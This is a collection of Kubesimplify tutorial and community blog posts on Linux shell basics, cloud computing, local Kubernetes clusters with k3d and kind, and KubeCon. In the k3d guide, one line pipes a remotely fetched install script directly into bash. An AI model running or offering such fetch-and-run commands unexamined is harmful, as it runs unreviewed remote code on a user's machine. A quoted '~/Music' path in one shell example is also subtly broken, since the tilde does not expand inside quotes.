The ls command produces little information about each file in the basic listings. Another popular parameter for listing additional information is -l. The -l option generates a long listing format, which provides more information about each file in the directory.

In addition to the filename, the listing shows additional useful information about each file (or directory):

1. The file type — such as directory d , a file - , linked file l , character device c , or block device b
2. The file permissions rwx. 
3. The number of file hard links 
4. The file owner username in this case it's traw 
5. The file primary group name in this case it's traw
6. The file byte size 
7. The last time the file was modified 
8. The filename or directory name


![ls -l.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/k5Q5nXW5v.png align="left")

##  List files in long format with readable file sizes

From the above snippet, you can notice that the file sizes were not in a readable format. In order to display the file sizes in a readable format, we need to use the `-h`.

![ls -lh.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/ocNZNqpE-.png align="left")

**Quick Tip**
Option parameters don't have to entered separately, they can be combined as shown above.

## List only directories

Another great feature of the ls command is the ability to list directories only, excluding their contents. The `-d` options help to accomplish that.


![ls -d.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/7oKBF8NCx.png align="left")

## List files and sort by date and time

To list files or directories and sort by last modified date, use the `-t` option.  To reverse the sorting order, use the -r parameter as follows: `ls -tr`:

![ls -t.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/x36ezXPGe.png align="left")

## Filtering Listing Output

As demonstrated in the examples, the ls command by default lists all non-hidden directory files.
This can be overkill at times, especially if you're only looking for information on a few files or even a single file. Fortunately, the ls command also allows you to specify a filter on the command line. The filter is used to determine which files or directories should be displayed in the output. The filter operates as a straightforward text-matching string. Include the filter after any command-line parameters that you intend to use:

![ls filter1.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/ESqsC6OZA.png align="left")

> Notice that we have just provided the filename as a simple text-matching string filter and as
expected ls provided us with the information of only that file.

When you specify the name of a specific file as the filter, the ls command only displays information about that file. You may not always know the exact filename you're looking for. The ls command also recognizes and uses standard wild card characters to match patterns within the filter:

- A question mark (?) to represent one character
- An asterisk (*) to represent any number of characters

I won't go over all meta-character wild cards in this article, but if you're curious, check out the video below :
[Linux Regular Expression Basics](https://www.youtube.com/watch?v=KJG1dETacLI)

The question mark can be used to replace exactly one character anywhere in the filter
string. For example:

![ls filter2.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/U3VWdqvm8d.png align="left")

You have noticed that the filter setup.sh matched one file. If there was another file with the name
secup.sh (notice the difference), the filter setup.sh would have matched the two files. Here is an
example:

![ls filter3.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/-tnPXyqKv.png align="left")

As expected, our filter matched the two files. Similarly, the asterisk can be used to match zero or more
characters. Here is an example:

![ls filter 4.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/bgQKMrLUx.png align="left")

**Quick Tip:** You can place the asterisk or the question mark anywhere in your filter.

> Using the asterisk and question mark in the filter is called file globing. File globing is the processing of
pattern matching using wild cards. The wild cards are officially called "meta-character" wildcards. You
can use more meta-character wildcards for file globing than just the asterisk and question mark. 

You can also use brackets as shown below:

![ls filter 5.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/-fd8eUvQB.png align="left")

In this example, we used the brackets along with two potential choices for a single character in that
position, t or c. The brackets represent a single character position and give you multiple options for file globing. You can also specify a range of characters, such as an alphabetical range [a -t] :

![ls filter 6.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/jxw-qQcIn.png align="left")

File globbing is such a broad topic that it deserves its own separate article to explain each metacharacter. When searching for files, file globing is a useful feature. It can also be used with other shell commands besides ls, such as grep, cut, tr, sed, gawk, rm, cp, and so on. You'll learn more about this in our future articles.

## Conclusion

There are numerous other commands and combinations you can use to list files and directories based on your requirements. One thing to keep in mind is the ability to combine multiple commands at once.

If you forget a command or are unsure what to do, type `ls --help` or use the ls man pages (`man ls`, which will display a manual with all possible ls options.)

Thank you for making it this far & hopefully you found this article helpful. Feedback is really appreciated 💜

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

I can be found **[@xtremepentest](http://twitter.com/xtremepentest)**  on Twitter, or **[LinkedIn](https://www.linkedin.com/in/0xtraw/)**.

---

# Cloud Computing

- Canonical: https://blog.kubesimplify.com/cloud-computing
- Published: 2022-06-08

### Introduction

Cloud computing is the delivery of on-demand computing resources such as data storage, computational power, servers, analytics, intelligence, and much more over the internet on a pay-as-you-go basis; resources are dynamically assigned and reassigned among multiple users and scale up and down in response to users’ needs. These resources are hosted at a  remote data center, which is managed by a cloud service provider (CSP).

![Magic-Quadrant-for-Cloud-Infrastructure-and-Platform-Servicestarget.png](/img/blog/cloud-computing/KZ08D8nQH.png align="center")
The above image shows the magic quadrant for cloud infrastructure and platform services as cited by [Gartner](https://www.gartner.com/doc/reprints?id=1-271OE4VR&ct=210802&st=sb) for the major CSPs.

#### Advantages
Some advantages of cloud computing over the traditional, on-premises IT are:
- Lower infrastructure costs
 - We offload the cost of purchasing, setting up, and managing the physical hardware.
- Improved agility
 - The waiting time to set up and configure IT resources is cut short to such an extent that access to computing resources is just minutes away in a cloud environment.
- Scalability
 - Resources can be acquired and used on a demand basis, we can spread our applications globally using the CSP's global network of data centers.


![cloudmodel.png](/img/blog/cloud-computing/_37aRW9u7.png align="center")

#### Some Important terms
Before we move forward, there are a few terms we must be familiar with:
1. Virtualization: Creation of multiple virtual machines with their own OS on a single physical node, allowing for efficient usage of physical resources. 
1. Virtual Machines(VM): It is an emulation of a physical computer, i.e. a virtual environment acting as a physical computer. Established as a guest on the parent node using a hypervisor.
1. Hypervisor: A layer of software that directs and allocates the node's resources to VMs, ensuring they don’t disrupt each other.
1. Containerization: A virtualization alternative where we encapsulate applications in containers with their own operating environment, instead of installing a separate OS for each VM, containers use the same OS, the host OS. Hence, it is lightweight and uses fewer resources when compared to the virtualization method.


![Untitled (1).png](/img/blog/cloud-computing/Ja1LJSHDW.png align="center")

### The Essential Characteristics of cloud computing
1. On-demand Self-service
 - Access to cloud resources is possible through a simple interface, without any human interaction with a CSP. 

1. Broad Network Access
 - Accessing the cloud resources via network through the standard mechanisms and platforms such as computers, workstations, and tablets. 

1. Resource Pooling
 - Gives scalability to CSPs, which makes cloud cost-efficient by using a multi-tenant model. Here, computing resources are pooled and dynamically provided to serve multiple consumers, without the concern of the physical location of these resources. 

1. Rapid Elasticity
 - Provision to access resources as and when needed, and scale back when you're done. 

1. Measured Service
 - The resource usage is monitored and measured on the basis of utilization by the CSP. The user pays only for the resources reserved. This makes the consumption of computing resources cost-efficient.


![cloud-storage.png](/img/blog/cloud-computing/pc-4i3PMB.png align="center")

### Service Models

#### 1. Infrastructure as a Service (IaaS)
- It delivers fundamental computing, network, and storage resources to consumers, over the internet.
- The CSP hosts the traditional 'raw' IT infrastructure and the hypervisor layer.
- Customers can create VMs and deploy middleware, install applications and run workloads on these VMs. The customers can also allocate storage for backup and workloads.
- The providers manage physical data centers, hypervisors, and networking resources. 
- Not only do they provide the required high-performance computing, but also make it economically viable.

![Untitled.png](/img/blog/cloud-computing/TR8_VyLEJ.png align="center")

#### 2. Platform as a Service (PaaS)
- It provides a complete platform to Develop, Deploy, Run, and Manage applications.
- The CSP is responsible for the management, configuration, and setting up of each and every resource except for the application code and its management, which is taken care of by the consumer.
- It provides a high level of abstraction to the consumer by getting rid of most of the complexity involved. It also provides services and APIs to simplify the job of a developer.
- It is built around containers nowadays. 
- Some common use-cases for PaaS are IoT, API creation, and much more.

#### 3. Software as a Service (SaaS)
- A ready-to-use application software that’s hosted on the cloud. It can be accessed and used via a web browser, a dedicated desktop client, or an API.
- The application, as well as the infrastructure, is managed by the provider.
- It increases the productivity and efficiency of the user by providing global access to the application.
- It works on a subscription-based model with scalable resources and possibility of customizations.

![whimanageswhat.png](/img/blog/cloud-computing/m2JY0sy_1.png align="center")

#### Real Life Example
Let us take an example of a car. Now, consider **Leasing** a car as the IaaS model, **Renting** it as the PaaS model, and taking a **Taxi** instead as the SaaS model. Let me explain to you here, that how this analogy matches with the Service models. 
- Now, when you lease a car, you are the one who has done all the research about its specs, you are the one driving it, and you are the one who is paying for its fuel and tolls similar to all the work that you have to pay attention to when choosing IaaS. 
- In case you are renting a car, you don't care about the specs the car has, you don't care about its color and all, but you still are the one who is driving and paying for its expenses similar to the PaaS model where you just have to worry about the application code, data, and payment. 
- While in a taxi, you need not worry about anything, you don't need to drive, care about the specs and all, you just need to pay for the ride, similarly in SaaS you just need to pay for the service you are using and leave the rest to the CSP.

### Deployment Models
Deployment models indicate where the infrastructure resides, who owns and manages it, and how cloud resources and services are made available to users.
#### 1. Public Cloud
- Here, the CSP makes the computing resources available to the users over the public internet. It is a virtualized multi-tenant architecture where the infrastructure is shared amongst every public cloud customer.
- The vendor owns, manages, and maintains the resources which can be provisioned by a user through web consoles or APIs.
- The user here does not have any control over the performance and security levels of the computing environment and is bottle necked by the standards of the vendor.
- The services offered by the public cloud are elastic and readily scalable as per the workload, hence it is preferred by many organizations.

#### 2. Private Cloud
- This is a type of cloud environment where the complete infrastructure and resources are available for use by just a single customer.
- It combines the benefits of the cloud with that of on-premises infrastructure. It adds access control, security, and resource customization features to the easy scalability and flexibility of the cloud.
- When this model is implemented at the customer organization itself, it as to be managed and run by the organization. But, when it is offered by a CSP it is called a virtual private cloud (VPC) as it is a logically isolated computer environment in the shared public cloud.
- It provides the customer with the features of the public cloud while also giving it the necessary security and regulatory controls.

#### 3. Hybrid Cloud
- It is exactly what it sounds like, a combination of public and private cloud environments.
- Here, an organization’s on-premise private cloud and third-party, public cloud are connected as a single, flexible infrastructure to leverage the best of both worlds.
- The organization can thus run the information-sensitive workloads on the private cloud infrastructure and offload the rest of the tasks onto the public cloud.

#### Real Life Example
Let us take an example of commutation here, it is a self-explanatory analogy to the deployment models. Here, we can consider taking a **Bus** for the commute as the Public model, taking our own **Car** as the Private model, and taking a **Taxi** instead of the bus or the car as the Hybrid model. 


![cloud-network.png](/img/blog/cloud-computing/9TcEDukdI.png align="center")

### Cloud Infrastructure
It consists of the resources needed to run a cloud model smoothly. This differentiates it from the cloud architecture, which is like the blueprint of the cloud. Cloud infrastructure includes data centers, storage, network components, and compute resources. It consists of an interface for accessing the virtual resources that are created by the hypervisor. The hypervisor abstracts the physical resources and pulls them into the cloud. There can be various types of VMs used for this purpose like:
 1. Shared or Public cloud VMs
 1. Transient or Spot VMs
 1. Reserved VMs
 1. Dedicated hosts that provide single-tenant isolation (bare-metal)



### Resources
- [Cloud Computing in 6 minutes](https://youtu.be/M988_fsOSWo)
- [Virtualization](https://www.ibm.com/cloud/learn/virtualization-a-complete-guide)
- [Magic Quadrant for CIPS](https://www.gartner.com/doc/reprints?id=1-271OE4VR&ct=210802&st=sb)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

Liked the explanation? Want to connect? You can find me [here](https://linktr.ee/arnav_barman). Till then, happy learning!

---

# Kubesimplify - A Journey to remember

- Canonical: https://blog.kubesimplify.com/kubesimplify-a-journey-to-remember
- Published: 2022-06-07
- Summary: Kubesimplify is a community and a place to learn cloud-native in a simple way by working of projects and contributing your learning for others.

Hello all, my name is Saiyam Pathak and I am currently working as a Director of technical evangelism at Civo. I work primarily on Kubernetes and its surrounding projects from the CNCF landscape. I like to keep learning new stuff, interact with the community and teach people my learning via my YouTube videos. 
In this post, I will explain how Kubesimplify originated, where we are now, where we are headed and how you can be a part of it. 


# Rise of Kubesimplify
I have always wanted to simplify the cloud native learning curve for everyone and that is why I keep on trying out new initiatives including:
- CNCFMinutes - Short videos that aim to tell about a CNCF project -> This is loved by the community and I will keep on doing this! 
- Live streams with maintainers - People love this and I have not done much on 2022 but will resume this in a different manner
- Walkthrough videos - This I will continue to tell about the features of a product in a hands-on manner

Now all this is good but I wanted to be more close to the community and help them out so first I started a student ambassador program just like that - It was just called the student ambassador program which will get mentorship from me, learning opportunities, job opportunities, etc. I had a couple of students helping me out on this and selecting the first set of student ambassadors after this and my first meeting with students ambassador I halted this program as I got a crazy response and hundreds of applications across the globe! 
Now after thinking for a few days I thought let's name our community and give it a purpose and define what we want to achieve, this is where KUBESIMPLIFY was born! 
The name came out from within the group after multiple iterations and the same for the logo. Once the community was created I purchased the domain and wanted to create a website for it and decided to use Hashnode for the time being. 

Below was our initial logo which is now changed but since we are going through the origin story so you should know the first logo of Kubesimplify(that was the same time we joined Twitter)

%[https://twitter.com/kubesimplify/status/1507715888203460611?s=20&t=e2FhGLHbbINA2ZkANDGzrQ]


# Where we are now
After starting I realized that this community is much bigger than I thought so now it's not only limited to students, it is actually a community for everyone including professionals of all skill levels. That is why we also have contributors from the industry as well. 

Our First blog was published on 23rd March 2022 and we have been growing exponentially since then! 

![image.png](/img/blog/kubesimplify-a-journey-to-remember/bs0g9qr3e.png align="left")

Let's look at our stats so far (as of 5th June 2022)

Total blogs published - 54
Total one time sponsors - 8
Total views - 73k+ 
Total Twitter followers - 2.1k+

The maximum request that I get is for the mini-projects, where people learn a particular thing in cloud native but don't know how they apply skills and showcase them. 
So Kubesimplify is not only limited to blog contributions but if you join the discord you get to interact with the community where other people are learning, experts who are there to help you out, and mini-projects where you can work on to implement your learnings, guidance, and mentorship. 

As of now, there is no student ambassador program as that program was ended and we have a new program starting globally for everyone and not only for students, it will be called **Kubesimplify ambassadors**(details will be announced soon on Twitter).

## Mini projects
Let me tell you a bit more about our mini projects: So at Kubesimplify I have created a list of projects that I will be telling on how to proceed with and the goal of that project, then it is all voluntary effort that people are putting in to create the project and learning to implement their knowledge. We first started with the Tweets project: It aimed to create a PR from a GitHub issue and then on the merge it will send out a Tweet on Twitter. Here people learned about Twitter API's, GitHub Issue templates and how to use GitHub actions.

The next ongoing project is the Kubesimplify website: People from the Kubesimplify community are working on this project to create a website and learn multiple things over there. It is also structured learning with project management, PR reviews, teamwork, and collaboration. So apart from the tech skills, it helps with overall learning. 

New project starting - A Golang CLI -> Join Kubesimplify discord to know more about this project(I am yet to lay out the structure for this but the idea in my head is clear)

Like this, we will be starting new projects and as the community grows I will be putting parallel projects so that many people can contribute to different places. I am hoping to solve the practical knowledge problem with these mini projects and a new initiative - mini tasks that I will be starting soon! 

# Where we are headed at Kubesimplify
The end goal is to make it a global brand from where people learn cloud-native technology easily and are able to implement their learning with projects. They can contribute to different initiatives and make it the best place to learn cloud native and get all news about cloud native from its social media and newsletter platforms. 
This is going to be huge in the coming years and you have already seen the growth and commitment, so be part of this initiative and join Kubesimplify today -> Start your learnings and contributions which hopefully will land you in getting good jobs in cloud native! 


Thank you for reading. Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](https://kubesimplify.com/discord) server to learn with us.

---

# WTF is Linux Shell Command substitution.

- Canonical: https://blog.kubesimplify.com/wtf-is-linux-shell-command-substitution
- Published: 2022-06-06
- Summary: Command substitution allows you to assign the output of a shell command to a variable. This one of the most useful feature of shell scripts.

Command substitution allows you to assign the output of a shell command to a variable. This one of the most useful feature of shell scripts. After assigning the output to a variable, you can use the stored value anywhere in your shell scripts. This is useful when processing data in your scripts.

There are two ways to assign a command's output to a variable:

■ The backtick character (`)

■ The $() format

To do so, encircle the entire command line command with two backtick characters:

dueDate=`date`

or use the $() format:

dueDate=$(date)

The shell executes the command within the command substitution characters, and then the output is assigned to the variable dueDate. Note that there are no spaces between the assignment equal sign and the command substitution character.

Here’s an example of creating a variable using the output from a normal shell command:

```bash
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:53]
└─[$] <> dueDate=$(date)
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:53]
└─[$] <> echo $dueDate
Sat 04 Jun 2022 15:53:42 CAT
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:54]
└─[$] <>
```

```bash
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:55]
└─[$] <> dueDate=`date`
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:55]
└─[$] <> echo $dueDate 
Sat 04 Jun 2022 15:55:25 CAT
┌─[traw@xtremepentest] - [~] - [Sat Jun 04, 15:55]
└─[$] <>
```

The variable dueDate receives the date command's output and display it using the echo command.

That's not particularly exciting in this example, but since the command output is captured in a variable, you can do whatever you want with it.

Here's an example of how command substitution can be used to capture the current date and use it to generate a unique filename.

```bash
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:06]
└─[$] <> today=$(date)
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:06]
└─[$] <> who >> loggedusers.$today
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:07]
└─[$] <> ls
.rw-r--r-- 39 traw  4 Jun 16:07  loggedusers.Sat 04 Jun 2022 16:06:15 CAT
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:07]
└─[$] <> cat loggedusers.Sat\ 04\ Jun\ 2022\ 16:06:15\ CAT 
traw     tty2         2022-06-04 14:43
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:07]
└─[$] <>
```

In the above example, we assign the value to a variable, which is then used as part of a filename.
You can also implement command substitution in your shell scripts:

```bash
#!/bin/bash

TODAY=`date`
echo "Today's date is $TODAY"

LOGGEDUSERS=`who | wc -l`
echo "Logged in users are $LOGGEDUSERS"

UPTIME=`date ; uptime`
echo "Uptime is $UPTIME"
```

Upon execution, you will receive the following result 

```bash
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:53]
└─[$] <> bash cmd.sh 
Today's date is Sat 04 Jun 2022 16:53:39 CAT
Logged in users are 1
Uptime is Sat 04 Jun 2022 16:53:39 CAT
16:53:39 up  2:11,  1 user,  load average: 1.13, 1.39, 0.95
┌─[traw@xtremepentest] - [~/cmdsu] - [Sat Jun 04, 16:53]
└─[$] <>
```

That's it for today's article

In this thread, we learned how to use the most useful feature of shell scripts to extract information from command output and assign it to a variable. Finally, we went through a practical example in which you used the saved output as part of the log filename.

Thank you for making it this far & hopefully you found this article helpful. Feedback is really appreciated 💜

I can be found **[@xtremepentest](http://twitter.com/xtremepentest)**  on Twitter, or **[LinkedIn](https://www.linkedin.com/in/0xtraw/)**.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# How to change Directory In Shell Scripts?

- Canonical: https://blog.kubesimplify.com/how-to-change-directory-in-shell-scripts
- Published: 2022-06-02
- Summary: For convenience, there are times you may want to run a shell script that changes your current working directory to another directory.

- Can We Use Cd Command In Shell Script?
- Can I Change Directory In A Bash Script?
- How Do I Change The Path Of A Bash Script?

For **convenience**, there are times you may want to run a shell script that changes  your current working directory to another directory. For example, if you frequently visit  your projects directory(~/Projects) and want to quickly navigate there, you can write a Bash script to do so.

In this thread, I'll explain  how you can do this with the cd command. I will also explain some complexities of how cd behaves along the way.

## A Common Problem

Let's start with a script that navigates to the ~/Projects directory. We'll call it [chdir.sh](http://chdir.sh/):

```bash
#!/usr/bin/bash
# Filename: chdir.sh

# change our current directory to ~/Projects
cd /home/traw/Projects

#print working directory
pwd

# print the PID of the shell running our script
echo $$
```

Let's understand our code:
cd  ~/Projects - allows you to change your current working directory to ~/Projects
pwd - pwd will print working directory
echo $$ - $$ is a Bash internal variable that contains the Process ID (PID) of the shell running your script.

**Running our script**

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 13:59]
└─[$] <> bash chdir.sh 
/home/traw/Projects
118922
┌─[traw@xtremepentest] - [~] - [Mon May 30, 13:59]
└─[$] <>
```

As we can see, running our script produces the expected output of */home/traw/Projects* as well as the shell's process ID.

Let's see what directory we're in now that we've run the script.

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 13:59]
└─[$] <> bash chdir.sh 
/home/traw/Projects
118922
┌─[traw@xtremepentest] - [~] - [Mon May 30, 13:59]
└─[$] <> pwd
/home/traw
┌─[traw@xtremepentest] - [~] - [Mon May 30, 14:36]
└─[$] <>
```

This is not what we expected because the current directory has not been changed to /home/traw/Projects. So, what may be the problem?

Let's look at our shells' process ID:

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 14:36]
└─[$] <> echo $$
77714
┌─[traw@xtremepentest] - [~] - [Mon May 30, 14:39]
└─[$] <>
```

We can clearly see that the process ID of the shell we're in (PID 77714) and the shell script (PID 118922) are totally different.

This is a normal behaviour. The script is executed in a separated, independent shell (subshell/childshell). This separate shell exits at the end of the script, leaving the parent shell, which we are currently in, unaffected.

Now the question is,  how  can we overcome this problem? Well, continue to read

## Running Scripts in Parent Shell

To allow our script to execute commands in the current shell (parent shell) we can use the source command. The source command executes commands within the current shell context instead of creating a new shell to execute them. The source command has a shortcut alias, called the dot operator (.).

Great! So we can run bash script in the current shell:
Let's try out:

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 14:46]
└─[$] <> source chdir.sh 
/home/traw/Projects
77714
┌─[traw@xtremepentest] - [~/Projects] - [Mon May 30, 14:49]
└─[$] <>
```

Let’s also verify that the directory we’re in has now changed:

```bash
┌─[traw@xtremepentest] - [~/Projects] - [Mon May 30, 14:50]
└─[$] <> pwd
/home/traw/Projects
┌─[traw@xtremepentest] - [~/Projects] - [Mon May 30, 14:51]
└─[$] <>
```

Nice! So far, we've shown that we can run shell scripts in the current shell by using source.

Alternatively, we could have used the short-form . operator.

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 14:46]
└─[$] <> . chdir.sh 
/home/traw/Projects
77714
┌─[traw@xtremepentest] - [~/Projects] - [Mon May 30, 14:49]
└─[$] <>
```

## Using Bash Functions

Creating a Bash script for each directory is a pain. Instead, we could incorporate several Bash functions into a single script:

```bash
#!/usr/bin/bash

# Filename: chdirs.sh
# This file should be sourced

function music() {
    cd "~/Music"
}

function docs() {
    cd "~/Documents"
}
```

Now, if we source the file:

We can use the functions within that script in our current terminal:

```bash
┌─[traw@xtremepentest] - [~] - [Mon May 30, 15:18]
└─[$] <> source chdirs.sh 
┌─[traw@xtremepentest] - [~] - [Mon May 30, 15:18]
└─[$] <> docs
┌─[traw@xtremepentest] - [~/Documents] - [Mon May 30, 15:18]
└─[$] <> music
┌─[traw@xtremepentest] - [~/Music] - [Mon May 30, 15:18]
└─[$] <>
```

## Using Alias

We can improve our Bash functions even further by using the built-in alias command. An alias is easier to use than a function because it requires less typing.

Let's see if we can convert our functions into their alias variants:

```bash
#!/usr/bin/bash

# Filename: chdirs.sh

# This file should be sourced
alias music="cd ~/Music"
alias docs="cd ~/Documents"

```

In comparison to the bash functions we wrote previously, we can see how concise this is. Furthermore, we can use the alias in the same way that we have used the functions:

That's it:

In this article, we've seen several ways to use the cd command from within Bash. First, we discovered that running a shell script starts its own process. Finally, we looked at how we could improve our Bash scripts by using functions and the *alias* command.

Thank you for making it this far & hopefully  you found this article helpful.
Feedback is really appreciated 💜

I can be found [@xtremepentest](twitter.com/xtremepentest) on Twitter, or [LinkedIn](https://www.linkedin.com/in/0xtraw/).

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Creating Multi Node Kubernetes cluster Locally

- Canonical: https://blog.kubesimplify.com/creating-multi-node-kubernetes-cluster-locally
- Published: 2022-06-01

This is going to be a very short guide on how to create a multinode Kubernetes cluster with k3d and kind. 

There can be multiple reasons why you need a multi-node Kubernetes cluster. For me, it was I wanted to practice some Kubernetes concepts specific to node like taints and tolerations, nodeSelector, nodeAffinity etc. 

## k3d

### Requirements 
- You need to have docker installed on your system, and it should be running. You can check the status of docker using `sudo systemctl status docker` 

- Install the k3d CLI and let's start. 
- I will use arkade to install the k3d CLI. I will execute the command `arkade get k3d` 
- If you don't have arkade installed, then you can execute a curl command `curl -s https://raw.githubusercontent.com/k3d-io/k3d/main/install.sh | bash`
- If you get stuck somewhere then follow the installation guide [here](https://k3d.io/)
- First, we need to create a cluster using k3d and for that we will execute our command 
```
k3d cluster create my-cluster
```

![k3d-new.gif](/img/blog/creating-multi-node-kubernetes-cluster-locally/Qus_1vfoH.gif align="left")
- Now our cluster is ready let's install kubectl to interact with our kubernetes cluster. We will run the following command to install kubectl `arkade get kubectl` or execute this curl command `curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"`
- If you want to get the kubeconfig of the cluster that you had created just now, then execute the command `k3d kubeconfig get <cluster-name>` 
- The default location for your kubeconfig in case of k3d is `~/.k3d/kubeconfig-something.yaml`

- Now we have created our cluster, and it's time to add another node to the same cluster. 
- For adding node to the existing cluster, we need to run the following command 

```
k3d node create <node-name> -c <cluster-name> 
```
- Do not forget to pass the `-c` flag as it targets the cluster on which you're trying to create the node. 
- We have successfully added our new node to the Kubernetes cluster. 
- List all the clusters that you've created using `k3d cluster list`
- To verify, you need to run `kubectl get nodes` and you're supposed to see two nodes present in  your cluster. 

## Kind 
- We will repeat the same thing with kind and how we can create a multinode kubernetes cluster with kind. 
- kind is a [kubernetes-sigs](https://github.com/kubernetes-sigs/kind) project. 
- For kind, the requirement is docker, and you need to have docker installed on your system. 
- To create a cluster, we run the command `kind create cluster --name <cluster-name>` 


![kind.gif](/img/blog/creating-multi-node-kubernetes-cluster-locally/8Dc8h2G7v.gif align="left")

- To get the kubeconfig of the cluster, we execute the command `kind get kubeconfig --name <cluster-name>` 
- To set your context to the current kind cluster you can export the cluster manifest with `KUBECONFIG` variable, or you can do the same by running `kind export kubeconfig --name <cluster-name>` 
- The default location for your kubeconfig in this case is `~/.kube/config` 
- One thing which you should keep in mind is that you should always pass your cluster name with `--name`
- List all the cluster that you've created through kind using `kind get clusters`
- After creating multiple clusters, you may need to manage contexts and for that you can read one more article on managing contexts [here](https://kubesimplify.com/managing-contexts-in-kubernetes-with-plugins)

#### Creating multi-node cluster using kind 

- For creating multi-node cluster using kind, you need to first write a config file and then pass that file during the `kind cluster create` with `--config` flag. 
- I want to create a cluster with one controlplane and two worker nodes. For creating this cluster, our config file will look something like this. 


![Screenshot from 2022-06-30 23-45-37.png](/img/blog/creating-multi-node-kubernetes-cluster-locally/v0l5GuHYw.png align="left")

- To create the cluster, execute the command `kind create cluster --config config.yaml` Wait for few seconds for your cluster to be created. 
 

![Screenshot from 2022-06-30 23-38-52.png](/img/blog/creating-multi-node-kubernetes-cluster-locally/d_hSa7iKH.png align="left")


- Verify your installation using the `kubectl get nodes` command.


![Screenshot from 2022-06-30 23-48-52.png](/img/blog/creating-multi-node-kubernetes-cluster-locally/UygN7DylT.png align="left")

- You can read more about the advanced configuration of kind [here](https://kind.sigs.k8s.io/docs/user/quick-start/#advanced)

### Summary 
- In this blog, we have learnt about how to create single node/multi-node kubernetes cluster using kind and k3d both. I hope this was useful.

---

# My KubeCon EU(Virtual) Experience

- Canonical: https://blog.kubesimplify.com/my-kubecon-euvirtual-experience
- Published: 2022-05-31

**Now, before I tell you about my experience of attending KubeCon + Cloud Native Con EU Valencia, Spain(Virtual). I wanted to let you know about what KubeCon is.**

### What is KubeCon + Cloud Native Con

The **Cloud Native Computing Foundation** organizes this flagship conference which gathers adopters and technologists from leading open source and cloud-native communities together in one place.
For more details, you can refer to https://www.cncf.io/

### My Experience 
This was my first KubeCon and let me tell you something that I came to know about this conference after engaging in the CNCF community and thanks to my mentors Saiyam Pathak(Civo), Kunal Kushwaha(Civo), and Bart Farrell(DoK community) who told me and guide me about the scholarship for attending and benefits I will get as a student.

I applied for the Virtual attendee scholarship and I got it and I was so happy, it feels like I am a part of a big community and to be very honest CNCF is the best supportive community I have ever come across, the reason behind it is that the people are so collaborative, helpful and respectful to each other and you will be guided at each point you got stuck.

So now you feel like how a beginner can apply, what's the procedure and all that...Let me guide you.

### Scholarships

There are two types of scholarships listed below:

#### DIVERSITY SCHOLARSHIPS

Applicants must be from a traditionally underrepresented and/or marginalized group in the technology and/or open source communities who are unable to attend without some financial assistance. Including, but not limited to: persons identifying as LGBTQIA+, women, persons of color, and/or persons with disabilities. 

#### NEED-BASED SCHOLARSHIPS

Individuals who apply should be active members of the open-source community who are unable to attend for financial reasons and are unable to get funding from their companies.

You can apply whichever fits you well.

> Chances of getting Virtual scholarships are comparatively higher than in-person.

### Let's begin with my KubeCon Journey.

So the main event was started out on the 18th of May although the event kicks off on the 16th of May itself there was some Co-Located event for which attending those sessions is totally up to you.

My KubeCon started mainly with the Keynotes Sessions

> Do not miss the Keynotes as there will be announcements of new projects and updates and a lot more, or if you miss them by any chance do not worry every talk of KubeCon will be started posted on the CNCF youtube channel as the event gets over.

I attended all the Keynotes sessions every day during KubeCon days and learned more about CNCF projects and what the community is for.

But if you ask me about my favorite Keynotes sessions, then they are as follows:

1. Opening remarks by Priyanka Sharma(Executive Director CNCF).
2. Supporting the Community – So Open Source Projects Can Grow and Thrive - Le Tran, Member of Technical Staff, Kasten by Veeam
3.  Landscape Sustainability: The Pillars of Cloud Native Growth - Dave Zolotusky, Software Engineer, Spotify & Katie Gamanji, Senior Kubernetes Field Engineer, Apple
4. Exploring the Frontiers of Cloud Native - Bryan Che, Chief Strategy Officer, Huawei
5.  Push It to the Limit: From Canary Deployments to Canary Clusters - Henrik Høegh, Platform Engineer, Lunar
